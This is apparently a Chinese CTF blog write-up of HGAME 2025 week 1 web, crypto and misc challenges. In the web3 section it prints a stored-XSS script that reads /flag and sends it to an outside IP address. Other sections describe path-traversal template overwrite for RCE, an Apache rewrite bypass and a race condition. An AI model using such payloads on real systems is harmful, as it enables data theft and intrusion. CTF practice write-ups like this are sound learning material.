Week1-hgame2025

First Post:

Last Update:

签到

路边一条,一脚踹死

nc 那题直接连上就能执行 linux 指令

BdKCbLcDRotv9IxfD8kcvcqXnAf

WEB

web1

糖豆人,直接前端找到加分规则修改一个 10000 分

或者直接前端找到 gift 的内容,两假一真,base64 解码得 flag

web2

乐队,可以上传文件和改名,改名那可以路径穿越,于是构造恶意 ejs 文件覆盖原来的文件即可 rce

执行命令 env,刷新重加载即可得到 flag

web3

留言板,爆破密码 shallot 888888

留言板中的留言直接写入了 html 文件,执行 html 命令可以成功,于是构造恶意留言,服务器有/admin,/flag 路由,/flag 路由显示只能由 admin 访问,(想了想还是粘个代码吧

1
2
3
4
5
6
7
8
9
<script>
// 访问 /flag 页面并获取内容
fetch('/flag')
.then(response => response.text())
.then(flagContent => {
// 将 Flag 发送到攻击者服务器
fetch('https://82.157.129.178:80/?flag=' + encodeURIComponent(flagContent));
});
</script>

(应该是这个(
uridecode 一下就得到 flag 了

web5

Level 38475 角落

有 robots.txt,可知 app.py 位置,但是发现他不可读。

通过

RewriteEngine On

RewriteCond “%{HTTP_USER_AGENT}” “^L1nk/“

RewriteRule “^/admin/(.*)$” “/$1.html?secret=todo”

发现用 admin 读取源码会被重指向,不能直接读

https://httpd.apache.ac.cn/security/vulnerabilities_24.html

https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/

大佬发现的漏洞,用?截断,于是我们可以看到源码

MdXhbEEqEoOIfLxoG2VcNm7en5f

只 waf 了{

无路可走 有了:条件竞争,同时读和写(具体原理没搞懂)

用 bp 不断发送注入语句

yakit 读取 read 页面

得到 hgame{YOU-Find-ThE-k3y_t0-rRrac3-oUUUUt2a76ddc}

web4

Level 25 双面人派对

给了一个 main,不知道是啥 好像是 minio 的管理代码编译后的东东,不是很清楚

upx 脱壳后发现其中有个 minio 的项目,找到其中的 key

使用 mc 连接到另一个靶机上的 minio

下载其中文件

hints 中是源码,prodbucket 中是一个 update,跟 main 好像是一样的

查看源码,是一个 go 的项目,用了 gin,他只有一个路由,猜测是第一个靶机的源码

我们向其中添加代码

上传

Rce

CRYPTO

c3 sieve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
**结合题目给出的信息,采用两种筛法解出trick:** 
from sage.all import prime_pi, next_prime, inverse_mod
from Crypto.Util.number import long_to_bytes
def compute_sum_phi(k):
if k == 0:
return 0
phi = list(range(k + 1))
sum_phi = 1 # phi[1] = 1
for p in range(2, k + 1):
if phi[p] == p: # p是素数
phi[p] = p - 1
for multiple in range(p*2, k+1, p):
phi[multiple] -= phi[multiple] // p
sum_phi += phi[p]
return sum_phi
e = 65537
k = (e ** 2) // 6 # k = 715,870,206
enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546
print("计算欧拉函数前缀和...")
sum_phi = compute_sum_phi(k)
print(f"sum_phi = {sum_phi}")
print("计算素数个数...")
pi_k = prime_pi(k)
print(f"pi_k = {pi_k}")
T = sum_phi + pi_k
print(f"trick(k) = {T}")

**根据得到的值解rsa** :
from Cryptodome.Util.number import long_to_bytes
from sympy import mod_inverse, nextprime
e = 65537
enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546
trick_result = 155763335447735055
p = q = nextprime(trick_result << 128)
n = p * q
phi_n = p * (q - 1)
d = pow(e, -1, phi_n)
m_decrypted = pow(enc, d, n)
decrypted_flag = long_to_bytes(m_decrypted)
print(decrypted_flag)

Misc

Hakuya Want A Girl Friend

下载附件,发现是存有 hex 值的文本,有 zip 和反过来的 png,分离并生成文件,zip 有密码,png 长度被修改过,修正后发现密码,得到 flag

Level 314 线性走廊中的双生实体

.pt 文件可以转为 zip,解压后看到代码,发现类中有 flag

1
2
3
4
5
6
7
8
9
10
11
12
import torch

model = torch.jit.load('entity.pt', map_location='cpu')

# 访问SecurityLayer实例
security_layer = model.security

# 提取flag列表并解码
flag_numbers = security_layer.flag
flag = ''.join([chr(c ^ 85) for c in flag_numbers])

print("Flag:", flag)

Computer cleaner

下载发现版本不对,修改文件将 21 改为 17,成功运行,进入后 document 中有 part3,

简单溯源 121.41.34.25 访问得到 flag